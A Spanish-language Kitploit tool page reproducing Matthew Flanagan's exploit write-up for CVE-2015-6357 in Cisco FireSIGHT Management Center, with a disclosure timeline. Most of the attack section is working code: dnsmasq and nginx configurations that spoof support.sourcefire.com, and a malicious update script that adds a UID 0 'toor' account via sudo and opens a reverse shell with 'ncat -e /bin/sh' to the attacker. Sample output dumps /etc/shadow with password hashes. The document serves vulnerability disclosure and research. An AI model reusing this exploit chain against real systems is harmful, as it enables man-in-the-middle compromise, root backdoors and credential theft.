Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
firepwner — Exploit para CVE-2015-6357 Vulnerabilidad de validación de certificados del Cisco FireSIGHT Management Center | Kitploit
Herramientas/GitHubGitHub/mattimustang/firepwner
Escalada de PrivilegiosAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónComando y ControlAnálisis de DNS
GitHubmattimustang/firepwner

firepwner

Exploit para CVE-2015-6357 Vulnerabilidad de validación de certificados del Cisco FireSIGHT Management Center

Ver Repositorio
65hace 10 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2015-6357: Exploit FirePWNER para la vulnerabilidad de validación SSL de Cisco FireSIGHT Management Center

Introducción

Por sí sola, la Vulnerabilidad de validación de certificados de Cisco FireSIGHT Management Center es una vulnerabilidad de gravedad media con un CVSS de 5.1. Sin embargo, esta vulnerabilidad es un ejemplo de por qué la validación de certificados SSL es tan importante. En este exploit demostraré cómo se puede aprovechar la vulnerabilidad para obtener ejecución remota privilegiada de comandos en un sistema Cisco FireSIGHT. El exploit encadena la vulnerabilidad de validación SSL con el proceso de actualización de software en el sistema Cisco FireSIGHT para engañar al sistema objetivo y hacer que descargue una actualización maliciosa y la ejecute para obtener una shell inversa con privilegios de root.

Y POR ESO SIEMPRE DEBES VALIDAR LOS CERTIFICADOS SSL

La Vulnerabilidad

El appliance Cisco FireSIGHT Management Center se utiliza para gestionar los sistemas de prevención de intrusiones (IPS) Cisco FirePOWER, también conocidos como Sourcefire IPS. FireSIGHT es responsable de descargar firmas IPS actualizadas e instalarlas en los dispositivos IPS gestionados.

El FireSIGHT Management Center permite a un administrador iniciar manualmente una actualización de las reglas IPS o programar las actualizaciones para que ocurran diariamente/semanalmente/mensualmente.

Cuando el FireSIGHT Management Center realiza una actualización, utiliza el comando curl de UNIX para realizar la descarga desde Soporte de Sourcefire. A la invocación del comando curl se le pasa la opción -k (también conocida como --insecure) que indica a curl que no valide ningún certificado SSL presentado por el servidor.

Aquí está la salida ps del servidor descargando una actualización:

root@kitploit:~
admin@FIRESIGHT01:/var/sf$ ps -auxwww | grep curl
root      8351  0.0  0.0  37396  2708 ?        S    02:02   0:00 /usr/local/bin/curl -k -o /var/sf/updates/Sourcefire_Geodb_Update-2015-08-17-002.sh https://support.sourcefire.com/auto-update/auto-dl.cgi/XX:XX:XX:XX:XX:XX:XX/Download/files/Sourcefire_Geodb_Update-2015-08-17-002.sh

Las actualizaciones de FireSIGHT vienen en forma de un script de shell generado por makeself que contiene tanto comandos de shell Bourne de UNIX como los datos binarios que se entregarán en la actualización. Estos scripts de shell de actualización se ejecutan directamente en el servidor FireSIGHT como el usuario local www.

Un atacante que pueda realizar un ataque de intermediario (man-in-the-middle) contra un servidor FireSIGHT puede forzarlo a conectarse a una versión falsificada del sitio web de Soporte de Sourcefire y descargar un script de actualización malicioso que ejecutará cualquier comando que el atacante desee en el servidor FireSIGHT.

La vulnerabilidad de validación SSL permite que esto ocurra, resultando en que el sistema ignora felizmente el certificado SSL falsificado del atacante y descarga la actualización maliciosa y la ejecuta.

Si el comando curl validara el certificado SSL, entonces fallaría al descargar el script malicioso y protegería al servidor FireSIGHT del atacante.

Este exploit demuestra el peligro de no validar el certificado SSL al explotar la vulnerabilidad para obtener ejecución remota de comandos como el usuario root.

El Escenario del Ataque

El escenario del ataque es aquel en el que un atacante ha logrado la capacidad de interceptar el tráfico desde el servidor FireSIGHT hacia el sitio web https://support.sourcefire.com. La forma más sencilla de demostrar esto es configurar un servidor DNS "comprometido" que responda a las consultas del dominio support.sourcefire.com con la dirección IP de un servidor web que el atacante controla.

En un escenario de ataque real, el atacante puede usar cualquier cantidad de técnicas de intermediario para lograr el mismo fin. Tales como:

  • Envenenamiento de caché DNS
  • Suplantación ARP. p.ej. ettercap.

Este exploit fue probado contra las siguientes versiones de FireSIGHT Virtual Appliance:

  • 5.2.0
  • 5.3.0
  • 5.4.0
  • 5.4.1.1
  • 5.4.1.2

En la PoC a continuación, al servidor FireSIGHT se le asignó la dirección IP 192.168.1.99.

El host atacante estaba ejecutando Kali Linux 2.0, aunque la configuración a continuación debería funcionar en cualquier servidor basado en Debian Linux. La dirección IP del host Kali en el ejemplo a continuación es 192.168.1.1. El host Kali se utiliza para ejecutar el servidor DNS así como el sitio web falsificado de Soporte de Sourcefire.

Configurar dnsmasq

El exploit requiere la capacidad de falsificar la respuesta DNS para support.sourcefire.com. Se ejecuta un servidor dnsmasq para proporcionar esta capacidad y actuar como el servidor DNS "comprometido".

Instalar dnsmasq:

root@kitploit:~
root@kali# apt-get install dnsmasq

Configurar dnsmasq:

root@kitploit:~
root@kali# cat << EOF > /etc/dnsmasq.d/firepnwer.conf
address=/support.sourcefire.com/192.168.1.1
server=8.8.8.8
EOF

Edita la dirección IP en la línea address para que sea la dirección del servidor web desde el cual servirás las actualizaciones.

Iniciar dnsmasq:

root@kitploit:~
root@kali# service dnsmasq start

Configurar nginx

Se requiere un servidor web para servir el exploit al servidor FireSIGHT cuando solicite una actualización.

Instalar el servidor web nginx:

root@kitploit:~
root@kali# apt-get install nginx

Crear un certificado autofirmado para suplantar support.sourcefire.com:

root@kitploit:~
root@kali# mkdir /etc/nginx/ssl

root@kali# openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout /etc/nginx/ssl/nginx.key \
 -out /etc/nginx/ssl/nginx.crt

Country Name (2 letter code) [AU]:AU
State or Province Name (full name) [Some-State]:New South Wales
Locality Name (eg, city) []:Newcastle
Organization Name (eg, company) [Internet Widgits Pty Ltd]:FirePWNER Exploit.
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:support.sourcefire.com
Email Address []:

Configurar nginx reemplazando el contenido de /etc/nginx/sites-available/default con:

root@kitploit:~
server {
    listen 80 default_server;
    listen [::]:80 default_server;

    listen 443 ssl;

    root /var/www/html;

    index index.html index.htm index.nginx-debian.html;

    server_name support.sourcefire.com;
    ssl_certificate /etc/nginx/ssl/nginx.crt;
    ssl_certificate_key /etc/nginx/ssl/nginx.key;

    location / {
        try_files $uri $uri/ =404;
    }

    # rewrite requests that contain the clients license key
    location ~* /auto-update/auto-dl.cgi/[A-F0-9][A-F0-9]:.* {
        rewrite ^(/auto-update/auto-dl.cgi)/[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]/(.*)$ $1/$2;
    }

    location /auto-update {
        root /var/www/html/firepwner;
    }

}

Iniciar nginx:

root@kitploit:~
root@kali# service nginx start

Configuración del exploit

El exploit FirePWNER requiere que se sirvan dos archivos desde el servidor web. El primer archivo es el manifiesto de actualización, que es un archivo XML que contiene una lista de las actualizaciones disponibles, su ubicación de descarga y hashes MD5.

Primero necesitas crear algunos directorios:

root@kitploit:~
root@kali# mkdir \
    /var/www/html/firepwner/auto-update/auto-dl.cgi/{Download/files,GetCurrent}

Luego copia los archivos del exploit en ellos:

root@kitploit:~
root@kali# cp sf.xml /var/www/html/firepwner/auto-update/auto-dl.cgi/GetCurrent/sf.xml
root@kali# cp firepwner.sh \
    /var/www/html/firepwner/auto-update/auto-dl.cgi/Download/files/firepwner.sh

Después de copiar estos archivos, deberías poder navegar a http://192.168.1.1/auto-update/auto-dl.cgi/GetCurrent/sf.xml

Configurar el DNS del servidor FireSIGHT

A continuación, para fines de demostración del exploit, el servidor FireSIGHT debe configurarse para usar el servidor DNS "comprometido". Inicia sesión en el portal web de FireSIGHT y ve a System > Local > Configure > Management Interfaces y establece el servidor DNS primario en la dirección IP del servidor DNS "comprometido" (192.168.1.1) y guarda el cambio.

Ejecución del Exploit

El exploit utiliza el comando ncat instalado por defecto en el servidor FireSIGHT para crear una shell inversa hacia el host Kali. En el host Kali necesitas escuchar la conexión de la shell inversa desde el servidor FireSIGHT:

root@kitploit:~
root@kali# ncat -v -l 4444

Luego, en el portal web de FireSIGHT, navega a System > Updates > Rule Updates y selecciona Download new rule update from the Support Site y haz clic en el botón Import. El servidor descargará entonces el manifiesto de actualización sf.xml desde el servidor del atacante, verá que hay una actualización disponible y descargará la actualización y la ejecutará como el usuario www. El script de actualización/exploit a continuación aprovecha el hecho de que el usuario www tiene una serie de comandos sudo que puede ejecutar, incluyendo useradd. El exploit crea un nuevo usuario toor con una contraseña vacía y luego usa su para elevar privilegios e iniciar una conexión de shell inversa de vuelta al servidor del atacante.

root@kitploit:~
#!/bin/sh
# add a new UID 0 "toor" user with an empty password
sudo useradd -o -p '$1$FuV6TnrC$rKJCjOHJXuFhl2djLOBmF.' -g root -c toor -u 0 -s /bin/sh \
 -d /root toor
# su to toor and start the reverse shell
echo | su - toor -c "/usr/local/sf/nmap/bin/ncat -e /bin/sh support.sourcefire.com 4444"
exit 0

El script del exploit puede modificarse para ejecutar cualquier otro comando deseado. Si se cambia el script, entonces el valor de la etiqueta XML <md5sum> en sf.xml debe actualizarse con el nuevo hash MD5 del script del exploit.

Este es un ejemplo de la salida que deberías ver en el host Kali cuando el exploit tiene éxito y se abre una shell remota en el servidor FireSIGHT y se ejecutan los comandos id y cat /etc/passwd:

root@kitploit:~
root@kali# ncat -v -l 4444
Ncat: Version 6.49BETA4 ( http://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 192.168.1.99.
Ncat: Connection from 192.168.1.99:41637.
id
uid=0(root) gid=0(root) groups=0(root)
cat /etc/shadow
root:x:11869:0:::::
bin:*:9797:0:::::
daemon:*:9797:0:::::
mysql:*:9797:0:::::
nobody:*:9797:0:::::
sshd:*:9797:0:::::
www:*:9797:0:::::
sfsnort:*:9797:0:::::
sfremediation:*:9797:0:::::
sfrna:*:9797:0:::::
snorty:*:9797:0:::::
admin:$6$GCOeXpyR$Qhq6Eq5aSW8n.15RajwYrHVLud8NaN4aKEkVXC43I5m/X.ux/bgIHAplYifOaxTIxaIThqOBGmZgO5aey5tjE/:11869:0:::::
toor:$1$FuV6TnrC$rKJCjOHJXuFhl2djLOBmF.:16679:0:99999:7:::

Obtención del Exploit

Los archivos utilizados en este exploit pueden obtenerse desde github.

Cronología de Divulgación

  • 2015-08-31 Vulnerabilidad descubierta en FireSIGHT 5.4.x y exploit desarrollado por Matthew Flanagan.
  • 2015-09-01 Contacto inicial realizado con Cisco PSIRT [email protected].
  • 2015-09-01 PSIRT respondió solicitando más información.
  • 2015-09-01 Matthew Flanagan proporcionó a PSIRT un informe completo y exploit de la vulnerabilidad.
  • 2015-09-02 PSIRT creó un defecto de FireSIGHT y el incidente PSIRT-190974966.
  • 2015-09-15 Matthew Flanagan informó a Cisco PSIRT que las versiones 5.2.0 y 5.3.0 también son vulnerables.
  • 2015-10-16 PSIRT me informó de la puntuación CVSS que asignaron a la vulnerabilidad.
  • 2015-11-09 PSIRT asignó el ID CVE CVE-2015-6357.
  • 2015-11-16 Vulnerabilidad de validación de certificados de Cisco FireSIGHT Management Center publicada.
  • 2015-11-16 Los hallazgos de Matthew Flanagan publicados.
Descargar herramienta